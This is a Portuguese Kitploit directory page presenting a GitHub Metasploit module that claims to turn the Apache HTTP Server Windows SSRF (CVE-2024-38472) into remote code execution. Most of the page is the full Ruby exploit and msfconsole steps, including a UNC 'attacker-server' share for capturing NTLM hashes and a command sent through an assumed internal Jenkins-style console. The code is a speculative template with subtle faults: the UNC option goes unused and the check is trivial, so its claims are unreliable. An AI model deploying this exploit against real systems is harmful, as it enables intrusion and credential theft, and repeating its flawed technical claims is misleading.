Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/abdurahmon3236/cve-2024-38472
Frameworks de Testes de PenetraçãoFrameworks de ExploraçãoAnálise de VulnerabilidadesMovimento LateralExploração de Aplicações WebPós-ExploraçãoComando e ControleRed TeamingDesenvolvimento de Payloads
GitHubabdurahmon3236/cve-2024-38472

CVE-2024-38472

Módulo do Metasploit que explora o SSRF do Apache HTTP Server (CVE-2024-38472) no Windows para alcançar serviços internos e obter execução remota de código.

45há 2 anosAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Criar um módulo Metasploit de Execução Remota de Código (RCE) para a vulnerabilidade SSRF (CVE-2024-38472) no Apache HTTP Server no Windows é desafiador porque o SSRF por si só não resulta diretamente em RCE. No entanto, o SSRF pode frequentemente ser um passo para alcançar RCE, especialmente se você puder usá-lo para interagir com serviços internos ou acionar uma vulnerabilidade secundária.

Estratégia para RCE via SSRF

Para alcançar RCE através de SSRF, geralmente precisaríamos de:

  1. Um serviço interno vulnerável a um ataque específico que possa ser explorado via SSRF.
  2. Uma configuração incorreta ou vulnerabilidade adicional que permita a execução arbitrária de código.

Para este exemplo, vamos supor que podemos acionar um serviço secundário internamente que aceita requisições HTTP e pode ser enganado para executar código arbitrário (como um servidor Jenkins ou outro serviço com uma API exposta).

Módulo Metasploit de Exemplo

Vamos criar um módulo Metasploit que tenta alcançar RCE explorando o SSRF para interagir com um serviço interno. Neste caso, simularemos um servidor Jenkins interno com um console de script exposto que podemos abusar para RCE.

Salve o código a seguir como apache_unc_ssrf_rce.rb no diretório modules/exploits/multi/http da sua instalação do Metasploit Framework.

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache HTTP Server Windows UNC SSRF to RCE',
      'Description'    => %q{
        This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
        which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
        services like Jenkins.
      },
      'Author'         =>
        [
          'Your Name'  # Your name or handle
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-38472'],
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => ['win'],
      'Arch'           => [ARCH_CMD],
      'Targets'        => [
        ['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RHOSTS,
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
        OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
        OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
        OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    ssrf_payload = {
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'version' => '1.1',
      'headers' => {
        'Host' => datastore['RHOSTS'],
        'Content-Type' => 'application/x-www-form-urlencoded'
      },
      'data'    => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
    }

    begin
      print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
      res = send_request_cgi(ssrf_payload)

      if res && res.code == 200
        print_good("Successfully triggered the internal service")
      else
        print_error("Failed to trigger the internal service: #{res.inspect}")
      end
    rescue ::Rex::ConnectionError => e
      print_error("Connection failed: #{e.message}")
    rescue ::Interrupt
      print_status("User interrupted the module execution")
    rescue ::Exception => e
      print_error("An unexpected error occurred: #{e.message}")
    end
  end
end

Instruções de Uso

  1. Salve o Módulo: Salve o módulo como apache_unc_ssrf_rce.rb no diretório modules/exploits/multi/http da sua instalação do Metasploit Framework.

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/multi/http/apache_unc_ssrf_rce.rb
    
  2. Carregue o Metasploit: Inicie o Metasploit Framework abrindo um terminal e executando:

    root@kitploit:~
    msfconsole
    
  3. Use o Novo Módulo: No console do Metasploit, carregue o novo módulo de exploit usando o seguinte comando:

    root@kitploit:~
    use exploit/multi/http/apache_unc_ssrf_rce
    
  4. Configure e Execute: Defina as opções necessárias, como RHOSTS, RPORT, TARGETURI, UNC_SERVER, INTERNAL_SERVICE e CMD. Em seguida, execute o módulo.

    root@kitploit:~
    msf6 > use exploit/multi/http/apache_unc_ssrf_rce
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RPORT 80
    RPORT => 80
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set UNC_SERVER \\\\attacker-server\\share
    UNC_SERVER => \\attacker-server\share
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set INTERNAL_SERVICE http://internal-service/script
    INTERNAL_SERVICE => http://internal-service/script
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set CMD calc.exe
    CMD => calc.exe
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > run
    

Considerações Importantes

  • Certifique-se de ter as permissões apropriadas antes de testar ou explorar qualquer sistema.
  • Este módulo é projetado para fins educacionais e de teste. Sempre teste em um ambiente seguro e controlado antes de usá-lo em qualquer sistema de produção.

Este módulo Metasploit aprimorado envia uma requisição personalizada ao servidor Apache HTTP vulnerável no Windows, tentando acionar a vulnerabilidade SSRF e aproveitá-la para alcançar RCE interagindo com um serviço interno. Ajuste o payload e o módulo conforme necessário, com base na natureza específica da vulnerabilidade e no ambiente alvo.

Baixar ferramenta